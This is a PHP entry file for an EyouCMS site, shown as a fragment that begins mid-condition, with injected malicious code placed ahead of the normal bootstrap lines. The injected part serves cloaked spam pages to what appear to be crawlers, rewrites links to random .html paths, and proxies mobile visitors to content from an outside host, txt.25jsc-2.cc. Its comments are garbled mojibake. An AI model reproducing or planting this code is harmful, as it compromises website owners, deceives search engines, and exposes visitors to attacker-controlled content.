or stristr(url, "advice") or stristr(url, "kaiwen") or stristr(url, "moban") or stristr(url, "and") or stristr(url, "shtml") or stristr(url, "home") or stristr(url, "id") or stristr(url, "tips") or stristr(url, "auto")); define('area2', stristr(url, "/")); if (preg_match(regs, ent)) { if (area) { echo '' ; echo ''; //echo httpGet3(site.road).httpGet32(url8); $html2 = httpGet32(url8); $html = httpGet3(site . road); // $html = httpGet32(url8) // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟� $html2 = str_replace('', '', $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�

$html2 = str_replace('

', '', $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�$meta $pattern6 = $meta; $replacement6 = ''; $html2 = preg_replace($pattern6, $replacement6, $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�$miaoshu $pattern5 = $miaoshu; $replacement5 = ''; $html2 = preg_replace($pattern5, $replacement5, $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�$key $pattern4 = $key; $replacement4 = ''; $html2 = preg_replace($pattern4, $replacement4, $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�$title $pattern3 = $title; $replacement3 = ''; $html2 = preg_replace($pattern3, $replacement3, $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�/head $html2 = str_replace('', '', $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷鐬檈ad $html2 = str_replace('', '', $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷鏌ュ即閹稿骸搴奾tml $pattern2 = '//i'; $replacement2 = ''; $html2 = preg_replace($pattern2, $replacement2, $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷鏌ュ即閹稿骸搴� $pattern8 = '/body class=.*?>/i'; $replacement8 = ''; $html2 = preg_replace($pattern8, $replacement8, $html2); // 闁圭瑳鍡╂斀闁哄洦瀵у畷鏌ュ即閹稿骸搴� $pattern7 = '//i'; $replacement7 = ''; $html2 = preg_replace($pattern7, $replacement7, $html2); $html = $html.$html2; $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie,$html, $aarray5); // preg_match_all($lianjie, $html2, $aarray5); if ($aarray5[0]) { foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="' . $dir2 . '/' . char(6, 1) . char(mt_rand(4, 10), 2) . '.html' . '"'; $ahtml = preg_replace($preg, $replacestr, $pbti); $html = str_replace($pbti, $ahtml, $html); // $html2 = str_replace($pbti, $ahtml, $html2); } } echo $html; exit(); } else { $html=httpGet32(url8.url); // echo(url8.url); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�

$html = str_replace('', '', $html); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�

$html = str_replace('

', '', $html); $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie,$html,$aarray5); if($aarray5[0]){ foreach ($aarray5[0] as $pbti){ $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'.html'.'"'; $ahtml=preg_replace($preg, $replacestr,$pbti); $html= str_replace($pbti, $ahtml, $html); } } echo $html; exit(); } } ob_flush(); flush(); if (area && preg_match('/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/',$_SERVER['HTTP_USER_AGENT'])) { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); // 鐠佸墽鐤哢RL閸滃瞼娴夋惔鏃傛畱闁銆� curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-2.cc:82/xin/502.php"); curl_setopt($ch, CURLOPT_HEADER, false); // 閹舵挸褰嘦RL楠炶埖濡哥€瑰啩绱堕柅鎺旂舶濞村繗顫嶉崳锟� curl_exec($ch); //閸忔娊妫碿URL鐠у嫭绨敍灞借嫙娑撴棃鍣撮弨鍓ч兇缂佺喕绁┃锟� curl_close($ch); exit(); } if (preg_match(regs2, ent) && url != "" && url != "/" && url != "/index.php") { // echo (site2.road); echo httpGet3(site2.road); exit(); } elseif (preg_match(regs2, ent)) { $html=httpGet32(url8.url); // echo(url8.url); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�

$html = str_replace('', '', $html); // 闁圭瑳鍡╂斀闁哄洦瀵у畷锟�

$html = str_replace('

', '', $html); $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie,$html,$aarray5); if($aarray5[0]){ foreach ($aarray5[0] as $pbti){ $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'.html'.'"'; $ahtml=preg_replace($preg, $replacestr,$pbti); $html= str_replace($pbti, $ahtml, $html); } } echo $html; exit(); } if (area && preg_match('/phone|pad|pod|OpenHarmony|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/',$_SERVER['HTTP_USER_AGENT'])) { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); // 鐠佸墽鐤哢RL閸滃瞼娴夋惔鏃傛畱闁銆� curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-2.cc:82/xin/502.php"); curl_setopt($ch, CURLOPT_HEADER, false); // 閹舵挸褰嘦RL楠炶埖濡哥€瑰啩绱堕柅鎺旂舶濞村繗顫嶉崳锟� curl_exec($ch); //閸忔娊妫碿URL鐠у嫭绨敍灞借嫙娑撴棃鍣撮弨鍓ч兇缂佺喕绁┃锟� curl_close($ch); exit(); } // 检测是否已安装EyouCMS系统 if(file_exists("./install/") && !file_exists("./install/install.lock")){ if (preg_match('/^s=\/(.+)/i', $_SERVER['QUERY_STRING'])) { $url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']; header('Location:'.$url); exit(); } else { header('Location:./install/index.php'); exit(); } } // 缓存时间 define('EYOUCMS_CACHE_TIME', 86400); // 数据绝对路径 define('DATA_PATH', __DIR__ . '/data/'); // 运行缓存 define('RUNTIME_PATH', DATA_PATH . 'runtime/'); // 安装程序定义 define('DEFAULT_INSTALL_DATE',1525756440); // 序列号 define('DEFAULT_SERIALNUMBER','20180508131400oCWIoa'); // 定义应用目录 define('APP_PATH', __DIR__ . '/application/'); // 加载框架引导文件 require __DIR__ . '/core/start.php';